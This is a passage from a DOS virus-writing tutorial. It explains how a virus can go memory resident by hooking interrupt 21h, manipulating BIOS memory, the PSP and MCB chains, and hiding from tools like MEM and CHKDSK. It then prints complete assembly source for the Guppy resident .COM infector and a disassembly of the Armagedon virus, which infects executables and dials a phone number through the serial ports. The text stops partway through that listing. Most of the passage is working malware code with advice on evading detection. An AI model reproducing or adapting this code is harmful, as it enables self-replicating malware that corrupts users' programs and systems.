     mov     ds,ax
    
    Hook_Int_21:
     mov     ax,offset Int_21_Handler        ;ax = Handler Offset
     mov     bx,cs                           ;bx = Handler Segment
    
     cli                                     ;clear interrupts
     xchg    ax,word ptr ds:[84h]            ;Set AX = Old handler offset
          ;and set new offset.
     xchg    bx,word ptr ds:[86h]            ;Set BX = Old handler segment
          ;and set new segment.
     mov     word ptr cs:[Int_21_Offset],ax
     mov     word ptr cs:[Int_21_Segment],bx
     sti                                     ;restore interrupts
    
     push    cs
     pop     ds                              ;restore DS = CS
    ;----------------------------------------------------------------------------
    
    ALLOCATING MEMORY:
     Okay, now that we know exactly how interrupts work, let's take a look
    at some ways to allocate memory for the virus.  What we need is a space large
    enough for our virus to fit in and work that will not be deallocated after
    an infected program is terminated.  There are several ways in which to do this.
    One can use Int 27h as a regular program would, but this would cause the
    entire program to halt, alerting any user with a brain that something is wrong.
    One can, however, make a virus that either re-executes the host so that the
    termination is not seen (as Armageddon the Greek does) or one can make it
    only go TSR the first time (duh) and allow the program to execute fine
    afterwards (like Guppy and Little Brother do).  The methods for these are
    pretty simple and can be gained by examining the disassemblies of Guppy and
    Armageddon included with this file.
    
    BLANK SPACES:
     The next simple method to go memory resident is to find a blank area
    in memory that will NOT be used and use it.  For really small virii, one
    can use the top half of the interrupt table (mentioned earlier) in the
    manner that the Micro-128 virus does (see disassembly).  Other locations,
    such as video memory (0b000/0b800) can be used as well if one keeps it on an
    unused page (risky, but 0b900 will work for a while....).  Leapfrog, for
    instance, stores itself in one of DOS's disk buffers.  The only code for
    this is to copy the virus to the unused memory and make sure to point
    the handler to the NEW copy.
    
    BOOT SECTORS:
     One slight variation on this is the code that boot sector viruses
    such as Stoned and Michelangelo use to allocate memory.  Before DOS has
    booted (and even later, as we will talk about later) BIOS stores the
    amount of usable lower memory in a word located at 0:413h in memory.  This
    word contains the number of usable K, starting at 0000:0000 and ending (at
    the highest) at A000:0000.  One can reserve space for a virus by subtracting
    the number by the number of K needed (round up).  Then, to find the segment
    address, multiply the new value by 64 (40h) to convert it into paragraphs.
    This is your free area.  Copy the virus to here, then set the interrupts
    to point to its handlers.  When DOS boots it will reserve this area as
    allocated and CHKDSK will return 1K less low memory (assuming you use 1K).
    Here is an example of this technique:
    
    ;----------------------------------------------------------------------------
    Get_Current_Amount:
     xor     ax,ax
     mov     ds,ax
     mov     ax,word ptr ds:[413h]           ;ax = memory in K
    
    Reserve_Memory:
     dec     ax
     mov     word ptr ds:[413h],ax           ;lower memory by 1K
    
    Calculate_Free_Segment:
     mov     cl,06
     shl     ax,cl                           ;AX = AX * 64
     mov     es,ax                           ;ES:0 is now the beginning
          ;of free memory.
    ;----------------------------------------------------------------------------
    
    DOS MEMORY STRUCTURES:
     Unfortunately, the last method only works before DOS is loaded.  While
    this is great for bootsector and multi-partite viruses, it doesn't work very
    well for file-oriented viruses that load under DOS.  For these, we need to
    know more about the memory structures that DOS uses, namely the Memory
    Control Blocks (MCB's) and the Program Segment Prefix (PSP).
    
    PSP AND MCB's:
     When a file is loaded to be executed under DOS, DOS first takes
    the memory it will allocate to the file and starts it with a 16 byte header
    called a Memory Control Block.  This header tells DOS the owner of the
    block of memory, the size of the block, and whether it is the last in a chain
    of MCB's or not.  DOS the loads a 256 byte table called the Program Segment
    Prefix directly after the MCB.  The PSP is basically a table of information
    for DOS book-keeping, including the location of the top of usable memory
    by DOS.  This also holds the default DTA, FCB's, and command lines for programs
    Directly after the PSP, DOS loads the program to be run.  If it is a .COM file,
    it will be loaded and run where CS:0 = the beginning of the PSP, making the
    beginning of the file start at an offset of 100h.  If it is an .EXE file, the
    beginning of the file will be loaded at CS:0, where CS is 10h higher than the
    PSP's segment.  This is important to remember when trying to modify the PSP
    from a program.  The MCB, as said above, is 10h lower in memory than the
    PSP, or one segment lower.  Full tables of each structure are shown below.
    
    The format of a Memory Control Block is as follows:
     ---------------------------------------------------------------------------
    |                          Memory Control Blocks                            |
    |---------------------------------------------------------------------------|
    | Offset  Name                 Length (Bytes)        Description            |
    |                                                                           |
    |  0      Location             1                  M=Last Block, Z=Not Last  |
    |  1      Owner                2                  Segment of start of Memory|
    |  3      Size                 2                  Length in Paragraphs      |
    |  5      Unknown              3                  Supposedly Reserved       |
    |  8      Owner's Name         8                  Name.  Appears in mem maps|
     ---------------------------------------------------------------------------
    
    The format of DOS's Program Segment Prefix is as follows:
     ---------------------------------------------------------------------------
    |                          Program Segment Prefix                           |
    |---------------------------------------------------------------------------|
    | Offset  Name                 Length (Hex Bytes)    Description            |
    |                                                                           |
    | 00      Terminate            2                     CD20 (Int 20)          |
    | 02      Top of Memory        2                     Usually set at A000.   |
    | --                                                 Sometimes needed to    |
    | --                                                 lower DOS's memory for |
    | --                                                 a virus.               |
    | 04      Unknown              1                     Supposedly Reserved.   |
    | 05      CPM stuff            5                     Obsolete               |
    | 0A      Exit to DOS          4                     Int 22h handler (IP:CS)|
    | 0E      Control C Handler    4                     Int 23h handler (IP:CS)|
    | 12      Critical Error       4                     Int 24h handler (IP:CS)|
    | 16      Parent ID            2                     Segment of Parent Prog.|
    | 18      Handle Table         14                    One byte/handle        |
    | 2C      Environment Segment  2                     Segment of Envir. Vars.|
    | 2E      User Stack           4                     Stack address          |
    | 32      File Handle Count    2                     Size of Handle Table   |
    | 34      Handle Table Address 4                     If not at 12h          |
    | 38      Unknown              1c                    Supposedly Reserved    |
    | 50      Dos Call and RET     3                     INT 21, RET            |
    | 53      Unknown              9                     Supposedly Reserved    |
    | 5C      FCB 1                10                    File Control Block     |
    | 6C      FCB 2                10                    ""                     |
    | 7C      Unknown              4                     Reserved               |
    | 80      Command Line Length  1                     Also used as the       |
    | 81      Command Line         7f                    default DTA.           |
     ---------------------------------------------------------------------------
    
     Using this information, there are two basic ways to go memory resident.
    The first is to tell DOS that its top of memory is one or two K less, lowering
    the MCB memory to correspond, then lowering the BIOS memory as shown before.
    This method allows the virus to go memory resident using a small amount
    of code, and it prevents it from showing up on MEM's list of memory holders.
    Unfortunately, a decrease in lower memory is quite obvious using programs
    like CHKDSK and MEM.  The other method is to create another memory block than
    the host's, setting the owner to either itself or, most commonly, COMMAND.COM.
    This can be done either using DOS memory functions, as most viruses do, or
    it can be done directly by manipulating the MCB's themselves.
    
    BIOS/PSP METHOD:
     The first and simplest method is to lower DOS's top of memory field
    in the PSP, shrink the file's MCB, and lower the memory allocated to DOS by
    BIOS.  The end result of this is an area at the top of low memory that is
    unallocated and can be used. One of the disadvantages of this is that the
    size of the block MUST be allocated in chunks of 1K because the BIOS memory
    field stores size in 1K blocks.  This method is quite similair to that used
    in the bootsector example above.  See the example below:
    
    ;----------------------------------------------------------------------------
    ;This example assumes .COM file structure where DS = CS = PSP.
    
    Get_And_Lower_Top_Of_Memory:
     mov     ax,word ptr ds:[02]             ;Get Top of Memory (PSP)
     sub     ax,40h                          ;Lower it by 1K (40h paragraphs)
     mov     word ptr ds:[02],ax             ;And Replace Value.
    
    Get_MCB_Segment:
     mov     ax,ds                           ;AX = CS = DS
     dec     ax                              ;Get Segment of MCB
     mov     ds,ax                           ;And put into DS
    
    Shrink_Block:
     sub     word ptr ds:[03],40h            ;Subtract 1K from host's MCB
          ;allocation (paragraphs)
    Allocate_From_Bios:
     xor     ax,ax
     mov     ds,ax                           ;DS = 0
     dec     word ptr ds:[413h]              ;Allocate 1K from Bios
    
    Find_Free_Segment:
     mov     ax,word ptr ds:[413h]           ;Get memory in 1K
     mov     cl,6
     shl     ax,cl                           ;change to segment (multiply
          ;by 64 or 40h)
    
          ;AX now equals free segment
          ;of memory
    
     mov     es,ax                           ;Set ES = Free Segment
    ;----------------------------------------------------------------------------
    ALLOCATING WITH DOS:
     Using DOS to allocate memory for you is often the method of choice
    for virus writers.  To do this, first find the maximum block size avaliable
    by calling INT 21h, function 4Ah (Modify Memory Allocation) with the requested
    memory (In paragraphs) set to 0ffffh.  Since this is impossible, it will
    return a carry flag and put the maximum size in BX.  Subtract this amount
    by the number of paragraphs that you want (+1 for safety) and then execute
    another function 4Ah with the new value for BX.  This will shrink the block
    and give you enough space for the virus at the top of memory.  Allocate memory
    for the virus using Int 21h, function 48h (Allocate Memory) with BX set
    to the number of paragraphs you want (no +1 this time).  This will return
    the segment of free memory in AX.  All that is left now is to mark the new
    block as the last in the chain by setting the first byte in its MCB to 'Z',
    and change its owner.  The owner is usually a word value corresponding to the
    program's PSP (MCB Seg+1).  This will work, or you can set it to a reserved
    value like 08 (I/O).  After this is done, if you want, you can set the
    owner's name field starting at MCB_SEG:0008 to any eight byte or smaller name.
    This name will appear in memory mapping programs such as MEM and SI.
    ;----------------------------------------------------------------------------
    Get_Maximum_Memory:
     mov  ah,4ah
     mov  bx,0ffffh                                   ;Request too much
     int  21h                                         ;memory - maximum size
            ;returned in BX.
    Subtract_Needed_Memory:
     sub     bx,((end_vir-start_vir+0fh)/10h)*2+1     ;Shrink Block by
            ;(virsize*2)+1
    
    Shrink_Block:                                            ;BX = Paragraphs
     mov     ah,4ah                                   ;     Requested
     int     21h                                      ;ES = Segment of Block
    
    Allocate_Memory:
     mov     ah,48h
     mov     bx,((end_vir-start_vir+0fh)/10h)*2       ;Allocate (virsize*2)
     int     21h                                      ;Returns AX = Free Seg
    
    Point_ES_to_New_MCB:
     dec     ax
     mov     es,ax
     inc     ax
    
    Set_As_Last_Block:
     mov     byte ptr es:[0],'Z'                      ;Mark as last
            ;in chain
    Set_Owner:
    ;Note: The number in the Owner field is usually the segment of the program's
    ;      PSP.  Certain values, however, have special meanings.  08, for example,
    ;      indicates I/O or Command.COM as the owner.  This can be useful for
    ;      deceptions.  The only requirement of this is that the owner will NOT
    ;      be deallocated.
    
     mov     word ptr es:[1],ax                       ;Set owner as itself.
    
    Set_Name:
    ;Note: This is not necessary, but it can be used for many purposes.
    
     mov     di,08                                   ;ES:DI = owner name
           ;DOS 4+
     mov     si,offset virname
     push    cs
     pop     ds
     mov     cx,4
     repnz   movsw           ;Copy name into field.
        ;This will show up in programs like MEM and
        ;System Information.
    
     .............           ;Continue program, hook interrupts, etc.
    
    virname         db      'reMEMber'
    ;----------------------------------------------------------------------------
    
    DIRECT MANIPULATION:
     Direct Manipulation is basically the same in the end result as
    DOS manipulation, but the steps are executed (obviously) completely
    differently.  One advantage of this method is that one can determine whether
    or not to allow DOS to display the block the virus is in (see notes in code).
    Since the steps are basically the same, see the code for how each is done.
    ;----------------------------------------------------------------------------
    Get_Maximum_Memory:
     mov     ax,ds
     dec     ax
     mov     ds,ax                                   ;DS = MCB
     mov     bx,word ptr ds:[03]                     ;Get Block Size
    
    Subtract_Needed_Memory:
     sub     bx,((end_vir-start_vir+0fh)/10h)*2+1     ;Shrink Block by
            ;(virsize*2)+1
    Shrink_Block:
     mov     word ptr ds:[03h],bx                    ;Lower Block Size
    
    ;----------------------------------------------------------------------------
    ;Note:  If you want your program to show up in a memory map, set this byte
    ;       to 'M', meaning that it is NOT the last block.  Otherwise, set it
    ;       to 'Z' so that MEM and like programs will not trace past it.
    ;----------------------------------------------------------------------------
     mov     byte ptr ds:[0],'M'                     ;Mark host block's
           ;location in chain.
    
    Lower_Top_Of_Memory:                                    ;Lower field in PSP
     sub     word ptr ds:[12h],((end_vir-start_vir+0fh)/10h)*2+1
    
    Point_ES_to_New_MCB:                                     ;Get New top of mem
     mov     ax,word ptr ds:[12]                      ;from PSP.
     mov     es,ax                                    ;ES = new segment.
    
    Set_As_Last_Block:
     mov     byte ptr es:[0],'Z'                      ;Mark as last
            ;in chain
    Set_Owner:
     mov     word ptr es:[1],ax                       ;Set owner as itself.
    ;----------------------------------------------------------------------------
    
    SELF RECOGNITION:
     One thing that a virus must do to remain unnoticed to any degree is
    to recognize if it has already been installed so that it does not continue
    to re-install itself, taking up more and more memory.  The simplest way to
    do this is to hook an interrupt and check for a certain unique value, or
    an installation check, and return another unique value if one is received to
    tell the executing virus that it is already in memory.  For example, one
    can hook INT 21h and wait for AX to be equalled to DEADh on entry.  In such a
    case, one could save the value and IRET.  If the virus is not installed, the
    result will be AX = DE00.  The executing virus would then check to see if the
    value was correct and, if so, return control to the host without re-installing
    itself.
    
    See the code below:
    
    ;----------------------------------------------------------------------------
    Install_Check:
     mov     ax,0deadh
     int     21h                     ;Is it installed?
     cmp     ax,0deadh
     je      Already_Installed       ;Yes? jump to Already_Installed
    Install:                                ;otherwise install it.
     ..........
    
    Int_21_Handler:
     cmp     ah,4bh
     je      execute
     cmp     ah,3dh
     je      open
     cmp     ax,0deadh               ;Is it an install check?
     je      Install_Check           ;Yes, jump to Install_Check.
    Go_Int_21:
      db      0ea
    Int_21_IP       dw      0
    Int_21_CS       dw      0
    
    Install_Check:                          ;Save value in AX
     iret
    ;----------------------------------------------------------------------------
    
    COPYING THE VIRUS:
     One point that has been more or left out up until now is how to copy
    the virus.  The simplest (and the only REAL way) is to set ES:DI to the newly
    allocated space, DS:SI to the start of the virus, and CX to the length of the
    virus in words (or bytes if you wish to use movsb).  Then execute a REPNZ
    MOVSW and you've got it.  Note: When using Int 27, this is uneccessary because
    it puts the program into memory at it's original location.
    
    ;***************************************************************************
    ;*                          The Guppy Virus                                *
    ;***************************************************************************
    ;*      The Guppy virus is a relatively simple, very small, resident .COM  *
    ;*infector.  It uses the standard way for a regular program to go resident *
    ;*(i.e. Int 27) which makes the infected program terminate the first time  *
    ;*run.  After that, however, infected files will run perfectly.  This virus*
    ;*uses interesting methods to restore the storage bytes, as well as a      *
    ;*strange technique to restore control to an infected file after it has    *
    ;*already gone memory resident.                                            *
    ;*                                                                         *
    ;*Note: The Guppy virus was originally assembled with an assembler other   *
    ;*      than Tasm, so to keep it exactly the same some commands must be    *
    ;*      entered directly as individual bytes.  In these cases, the command *
    ;*      is commented out and the bytes are found below it.                 *
    ;*                                                                         *
    ;***************************************************************************
    
    .model tiny
    .radix 16
    .code
    
      org     100h
    start:
      call    Get_Offset
    
    Get_Offset:
      pop     si                 ;SI = offset of vir +
            ;(Get_Offset-Start)
      mov     ax,3521h
      mov     bx,ax
      int     21h                ;Get Int 21 Address
    
      mov     ds:[si+Int_21_Offset-103],bx      ;Save old Int 21
      mov     ds:[si+Int_21_Segment-103],es
    
      ;mov     dx,si             ;Bytes vary between assemblers
      db      89,0f2
    
      ;add     dx,offset Int_21_Handler-104
      db      83,0c2,1f
    
      mov     ah,25h
      int     21h                ;Set Int 21
    
      inc     dh                 ;Add 100h bytes to go resident
            ;from handler
      push    cs
      pop     es
      int     27h                ;Terminate & stay resident
            ;DX+1 = end of area to go res.
    
    Int_21_Handler:
      cmp     ax,4B00h           ;Is call a Load & Execute?
      je      Infect             ;Yes? Jump Infect
    
      cmp     al,21h             ;Might it be a residency check?
      jne     Go_Int_21          ;No? Restore control to Int 21
    
      ;cmp     ax,bx             ;Are AX and BX the same?
      db      39,0d8
    
      jne     Go_Int_21          ;No, Restore control to Int 21
    
      push    word ptr [si+3dh]  ;3dh = offset of Storage_Bytes -
            ;Get_Offset
    
            ;This gets the first word of
            ;storage bytes, which is then
            ;popped to CS:100 to restore it.
    
      mov     bx,offset ds:[100] ;100 = Beginning of COM
      pop     word ptr [bx]
    
      mov     cl,[si+3Fh]        ;Restore third storage byte.
      mov     [bx+2],cl
    
    Restore_Control:
      pop     cx
      push    bx
      iret                            ;Jump back to Host program.
    
    Storage_Bytes         db      0, 0, 0
    
    Infect:
      push    ax
      push    bx
      push    dx
      push    ds
      mov     ax,3D02h
      int     21h             ;Open File for Read/Write Access
    
      xchg    ax,bx
      call    Get_Offset_Two
    
    Get_Offset_Two:
      pop     si
      push    cs
      pop     ds
      mov     ah,3F
      mov     cx,3
      sub     si,10           ;Set SI=Storage_Bytes
    
      ;mov     dx,si
      db      89,0f2
    
      int     21h             ;Read first 3 bytes of file
    
      cmp     byte ptr [si],0E9h      ;Is the first command a jump?
      jne     Close_File                   ;No? Jump to Close_File
      mov     ax,4202h
      xor     dx,dx
      xor     cx,cx
      int     21h                     ;Go to end of file
    
      xchg    ax,di
      mov     ah,40h
      mov     cl,98h                  ;Virus Size
    
      ;mov     dx,si
      db      89,0f2
    
      sub     dx,40h                  ;Beginning of virus
      int     21h                     ;Append virus to new host
    
      mov     ax,4200h
      xor     cx,cx
      xor     dx,dx
      int     21h                     ;Go back to beginning of file
    
      mov     cl,3
    
      ;sub     di,cx
      db      29,0cf
    
      mov     [si+1],di
      mov     ah,40h
    
      ;mov     dx,si
      db      89,0f2
    
      int     21h                     ;Write 3 byte jump to file
    
    Close_File:
      mov     ah,3Eh
      int     21h
    
      pop     ds
      pop     dx
      pop     bx
      pop     ax
    Go_Int_21:
      db      0EAh                    ;Go On With Int 21
    Int_21_Offset   dw      ?
    Int_21_Segment  dw      ?
    
    end     start
    ;**************************************************************************
    
    ;***************************************************************************
    ;*                           The Armagedon Virus                           *
    ;*                                                                         *
    ;*Dial is controlled off of the new INT 08 handler when virus goes TSR.    *
    ;*Examine the way the virus goes memory resident using INT 27, this is an  *
    ;*interesting method that I had not seen before in a virus.  Also, look    *
    ;*at its rather strange procedure for infecting files.                     *
    ;*                                                                         *
    ;*                         Disassembly by Black Wolf                       *
    ;*                                                                         *
    ;* (The 911 virus is directly related to this one, as the only differences *
    ;*         are in the numbers dialed and the text messages)                *
    ;***************************************************************************
    .model tiny                             ;Sets assembler into Tiny mode
    .radix 16                               ;Sets numbers to hexidecimal
    .code
     org     100
    
    ;**************************************************************************
    ;*                             Loading Jump                               *
    ;**************************************************************************
    start:
      jmp     Virus_Entry
    
    ;**************************************************************************
    
    ;**************************************************************************
    ;*              This is where the infected file would usually be.         *
    ;**************************************************************************
    ;**************************************************************************
    
    ;**************************************************************************
    ;*                              Int 21 Handler                            *
    ;**************************************************************************
    Int_21:
      pushf
      cmp     ah,0E0          ;Is this an installation check?
      jne     not_check       ;If not, go to not_check
      mov     ax,0DADA        ;If so, return 0DADA
      popf                    ;and exit interrupt.
      iret
    
    not_check:
      cmp     ah,0E1          ;0E1=request for virus' seg. address
      jne     not_seg_req     ;Not E1? then go to not_seg_req
      mov     ax,cs           ;Move virus' address into AX
      popf                    ;and exit interrupt.
      iret
    not_seg_req:
      cmp     ax,4B00         ;Load and Execute?
      je      Infect          ;Go Infect
    Go_Int_21:
      popf
    
    ;               jmp     dword ptr cs:[Int_21_Off]
      db      2e,0ff,2e,22,01            ;Jump to Int 21 (done)
    ;**************************************************************************
    
    ;****************************************************************************
    ;*                             Main Data Section                            *
    ;****************************************************************************
    Int_21_Off      dw      138dh
    Int_21_Seg      dw      029a
    
    Int_08_Off      dw      022Bh
    Int_08_Seg      dw      70
    
    Ready_Byte              db      0
    Timing_Counter          db      8
    save_time_a             db      10
    save_time_b             db      9
    save_date               db      34
    Bytes_Written           dw      0
    waste_byte              db      0
    Character_Count         db      0
    Data_Ready              db      0
    Ports_Initialized       db      0
    
    com             db      'COM'
    handle          dw      5
    file_size       dw      2
      db      0, 0
    mem_allocated   dw      1301
    save_ss         dw      12AC
    save_sp         dw      0FFFE
    filename_seg    dw      9B70
    filename_off    dw      3D5Bh
    attribs         dw      20
    file_date       dw      0EC2
    file_time       dw      6E68
      db       0,0,81,0
    cs_save_3       dw      12AC
      db       5C,0
    cs_save_1       dw      12AC
      db       6C,0
    cs_save_2       dw      12AC
    ;****************************************************************************
    
    Infect:
      push    ds bx si cx ax dx bp es di  ;Save Registers
    
      cld                             ;Clear direction
      push    dx ds                   ;Save Filename Address
      xor     cx,cx                   ;Zero CX for use as counter
      mov     si,dx                   ;Move Filename Offset to SI
    
    Find_End_Of_Filename:
      mov     al,[si]                 ;Get letter from Filename
      cmp     al,0                    ;Are we at the end of the
      je      Check_Filename          ;Filename? Yes? Go to loc_7
      inc     cx                      ;inc Count
      inc     si                      ;inc pointer to next char
      jmp     short Find_End_Of_Filename
    
    Check_Filename:
      add     dx,cx                   ;add filename length to
          ;start of filename address
      sub     dx,3                    ;Subtract 3 for extension
      mov     si,offset com           ;com='COM'
      mov     di,dx                   ;set di=dx to Check
    
          ;Next few lines Check for
          ;Command.Com
    
      cmp     byte ptr [di-3],4E      ;Is the second to last letter
          ;an 'N'?
      jne     setup_check             ;If not, it's not COMMAND,
          ;Go to loc_8
      cmp     byte ptr [di-2],44      ;Is the last letter a 'D'?
      je      Infect_Error            ;If so, it is COMMAND,
          ;Go to Infect_Error.
    setup_check:
      mov     cx,3                    ;Setup loop
    
    check_if_com:
      mov     al,cs:[si]
      cmp     al,[di]
      jne     Infect_Error
      inc     si                      ;Check for 'COM' Extension
      inc     di                      ;If so, infect, otherwise
      loop    check_if_com            ;Go to Infect_Error
    
      pop     ds
      pop     dx                      ;Restore original filename
      push    dx                      ;address to DS:DX, then
      push    ds                      ;push them back onto stack
    
      mov     si,dx
      mov     dl,0
    
      cmp     byte ptr [si+1],3A      ;Is the second letter a
          ; ':'? I.E. is the file on
          ;another drive?
    
      jne     Get_Free_Disk_Space     ;Nope? Go Get_Free_Disk_Space
    
      mov     dl,[si]                 ;Get drive number if the file
      and     dl,0F                   ;is on another drive.
    
    Get_Free_Disk_Space:
      mov     ah,36
      int     21h                     ;Get free drive space.
          ;DL=drive
      cmp     ax,0FFFF
      je      Infect_Error
      jmp     short Continue_Infect
      nop
    Infect_Error:
      jmp     Pop_And_Quit_Infect
      jmp     End_Infect
    Error_After_Open:
      jmp     Close_File
      jmp     Reset_DTA
    Continue_Infect:
      cmp     bx,3                    ;If there are less than 3
      jb      Infect_Error            ;clusters free, quit.
    
      pop     ds                      ;DS:DX is filename address
      pop     dx                      ;again.
      push    ds
      push    dx
    
      mov     word ptr cs:[filename_seg],ds    ;Save DS:DX again
      mov     word ptr cs:[filename_off],dx
    
      mov     ax,4300
      int     21                         ;Get the file attributes
    
      mov     word ptr cs:[attribs],cx   ;Store attributes
      mov     ax,4301
      xor     cx,cx                      ;Set attributes to zero
      int     21                         ;to insure write access.
    
      mov     bx,0FFFF
      mov     ah,48                ;Allocate all free memory
      int     21                   ;by trying to allocate more
              ;than the computer possibly can,
      mov     ah,48                ;then using the returned number
      int     21                   ;(free mem) as the amount to
              ;request.
    
      mov     word ptr cs:[mem_allocated],ax  ;save the segment of
           ;allocated memory
    
      mov     ax,cs               ;point ds to cs
      mov     ds,ax
      mov     dx,offset new_DTA
      mov     ah,1A
      int     21                  ;Set DTA to memory after virus
    
      pop     dx
      pop     ds
      mov     ax,3D02
      clc                         ;clear carry (unneccessary)
      int     21                  ;Open file for read/write access
    
      jc      Error_After_Open        ;on error go to
          ;Error_After_Open
      mov     bx,ax                   ;move handle to bx
      mov     word ptr cs:[handle],ax ;save file handle
      mov     cx,0FFFF
      mov     ax,word ptr cs:[mem_allocated] ;Get segment of
                 ;memory to use
      mov     ds,ax                   ;point ds to it
      mov     dx,end_main_virus-start
      mov     ah,3F
      clc                             ;clear carry
      int     21                      ;Read 0ffff byte from file
    
      jc      Error_After_Open           ;If error go to
             ;Error_After_Open
      mov     word ptr cs:[file_size],ax ;save file size
             ;(number of bytes read)
      cmp     ax,0E000
      ja      Error_After_Open         ;File is too large, go to
           ;Error_After_Open
      cmp     ax,end_main_virus-start  ;Is file smaller than virus?
      jb      Not_Infected             ;Yes, therefore it isn't
           ;infected, goto Not_Infected
      mov     si,offset (end_main_virus+1-100)
      add     si,si                   ;Set SI to point to area where
      sub     si,15                   ;the text message would be if
          ;file is already infected.
      mov     cx,13                   ;Length of Text_Message
      mov     di,offset Text_Message  ;("Armagedon the GREEK")
    
    Check_For_Infection:
      mov     al,byte ptr [si]       ;This loop checks for the text
      mov     ah,cs:byte ptr [di]    ;message in the file being
      cmp     ah,al                  ;examined.  If it's there, it
      jne     Not_Infected           ;jumps to Close_File,
      inc     si                     ;otherwise it jumps to Not_Infected
      inc     di
      loop    Check_For_Infection
    
      jmp     short Close_File
      nop
    Not_Infected:
      mov     ax,4200
      mov     bx,word ptr cs:[handle]
      xor     cx,cx
      mov     dx,cx
      int     21                      ;Move to beginning of file
    
      jc      Close_File
      mov     si,100
      mov     cx,offset (end_main_virus-100)
      xor     di,di
      mov     ax,word ptr cs:[mem_allocated]
      mov     ds,ax
    
    Copy_Virus:
      mov     al,cs:[si]              ;Copy virus onto file in
      mov     [di],al                 ;memory. "repnz movsw"
      inc     si                      ;would've worked a lot
      inc     di                      ;better.
      loop    Copy_Virus
    
      mov     ax,5700
      mov     bx,word ptr cs:[handle]
      int     21                      ;Get File Date/Time
    
      mov     word ptr cs:[file_time],cx       ;Save File Time
      mov     word ptr cs:[file_date],dx       ;Save File Date
      mov     ax,word ptr cs:[mem_allocated]
      mov     ds,ax
      mov     si,offset (end_main_virus-100)
      mov     al,[si]                      ;encrypt first storage
      add     al,0Bh                       ;byte.
      mov     [si],al
      xor     dx,dx
      mov     cx,word ptr cs:[file_size]   ;Calculate new file size
      add     cx,offset end_main_virus-100        ;(add virus size)
      mov     bx,word ptr cs:[handle]
      mov     ah,40
      int     21                           ;Rewrite file
    
      mov     word ptr cx,cs:[file_time]
      mov     word ptr dx,cs:[file_date]
      mov     bx,word ptr cs:[handle]
      mov     ax,5701
      int     21                     ;Restore File Time
    
    Close_File:
      mov     bx,word ptr cs:[handle]
      mov     ah,3E
      int     21                      ;Close File
    
      push    cs
      pop     ds
    Reset_DTA:
      mov     dx,80
      mov     ah,1A
      int     21                     ;Reset DTA to default
    
      mov     ax,word ptr cs:[mem_allocated]
      mov     es,ax
      mov     ah,49
      int     21                      ;Release Allocated Memory
    
      mov     ax,word ptr cs:[filename_seg]
      mov     ds,ax
      mov     dx,word ptr cs:[filename_off]
      mov     ax,4301
      mov     cx,word ptr cs:[attribs]
      int     21                      ;Restore File Date/Time
    
      jmp     short End_Infect
      nop
    
    Pop_And_Quit_Infect:
      pop     ds
      pop     dx
      jmp     short End_Infect
      nop
    End_Infect:
      pop     di es bp dx ax cx si bx ds
      jmp     Go_Int_21
    
    ;************************************************************************
    ;*                      Timer Click (INT 8) Handler                     *
    ;*                      This is Used to Dial Numbers                    *
    ;************************************************************************
    Int_08:
      push    bp ds es ax bx cx dx si di
    
      pushf                              ;Push flags
      ;call    word ptr cs:[Int_08_Off]  ;Run old timer click
      db      2e,0ff,1e,26,01
    
      call    Timing_Routine
    
      push    cs
      pop     ds
      mov     ah,5
      mov     ch,byte ptr [save_time_a]
      cmp     ah,ch
      ja      Quit_Int_08
          ;if [save_time_a] !=6, quit.
      mov     ah,6
      cmp     ah,ch
      jb      Quit_Int_08
    
      mov     ah,byte ptr [Ready_Byte]
      cmp     ah,1
      je      Go_Dial
    
      mov     ah,1
      mov     byte ptr [Ready_Byte],ah
      jmp     short Quit_Int_08
      nop
    
    Go_Dial:
      call    Write_Ports
    
      inc     word ptr [Bytes_Written]
      mov     ax,word ptr [Bytes_Written]
      cmp     ax,21C
      jne     Quit_Int_08
      xor     ax,ax                        ;Reset Counters
      mov     byte ptr [Ready_Byte],ah
      mov     word ptr [Bytes_Written],ax
      mov     byte ptr [Data_Ready],ah
    Quit_Int_08:
      pop     di si dx cx bx ax es ds bp
      iret
    
    ;****************************************************************************
    ;*                          Timing Routine For Dialing                      *
    ;****************************************************************************
    
    Timing_Routine:
      push    cs
      pop     ds
    
      xor     al,al
      mov     ah,byte ptr [Timing_Counter]
      cmp     ah,11
      jne     Inc_Time_Count
      mov     ah,byte ptr [save_date]
      cmp     ah,3bh
      jne     Inc_Saved_Date
      mov     ah,byte ptr [save_time_b]
      cmp     ah,3bh
      jne     Inc_S_T_B
      mov     ah,byte ptr [save_time_a]
      cmp     ah,17
      jne     Inc_S_T_A
    
      mov     byte ptr [save_time_a],al
    Save_T_B:
      mov     byte ptr [save_time_b],al
    Store_Save_Date:
      mov     byte ptr [save_date],al
    Time_Count:
      mov     byte ptr [Timing_Counter],al
      ret
    Inc_Time_Count:
      inc     byte ptr [Timing_Counter]
      ret
    Inc_Saved_Date:
      inc     byte ptr [save_date]
      jmp     short Time_Count
    Inc_S_T_B:
      inc     byte ptr [save_time_b]
      jmp     short Store_Save_Date
    Inc_S_T_A:
      inc     byte ptr [save_time_a]
      jmp     short Save_T_B
    
    dial_string         db      '+++aTh0m0s7=35dp081,,,,141' ;Dial string To call
            ;Speaking Clock
            ;in Greece (Crete)
    
    ;****************************************************************************
    ;*                        Write Data to Com Ports                           *
    ;****************************************************************************
    
    Write_Ports:
      mov     al,byte ptr [Data_Ready]
      cmp     al,1
      je      Ret_Write_Ports              ; Jump if equal
    
      mov     al,byte ptr [Ports_Initialized] ;Have Ports been
      cmp     al,1                            ;Initialized yet?
      je      Already_Initialized
    
      mov     cx,3
    Init_Ports:
      mov     dx,cx
      xor     ah,ah
      mov     al,83                   ;Init Comport
      int     14                      ;1200 Baud, No Parity,
          ;1 Stop Bit, 8 bit Word Len.
      loop    Init_Ports              ;Initalize all Ports 1-4
    
      mov     al,1
      mov     byte ptr [Ports_Initialized],al
    
      jmp     short Ret_Write_Ports
      nop
    
    Already_Initialized:
      push    cs
      pop     ds
      mov     si,offset dial_string
      mov     al,byte ptr [Character_Count]
      cmp     al,1A
      jne     Write_From_SI_To_Ports
      jmp     short Setup_write
      nop
    
    Write_From_SI_To_Ports:
      xor     ah,ah
      add     si,ax
      mov     al,[si]
      mov     dx,3F8                  ;Outport from SI to standard
      out     dx,al                   ;addresses of ports 1-4
      mov     dx,2F8                  ;and increment character count
      out     dx,al
      mov     dx,2E8
      out     dx,al
      mov     dx,3E8
      out     dx,al
      inc     byte ptr [Character_Count]
      jmp     short Ret_Write_Ports
      nop
    
    Setup_write:
      mov     cx,3
    Write_To_All_Ports:
      mov     dx,cx
      mov     al,0dh
      mov     ah,1
      int     14                      ;Write a 1 to all ports
      loop    Write_To_All_Ports
    
      mov     ax,1
      mov     byte ptr [Data_Ready],al
      mov     byte ptr [Character_Count],ah
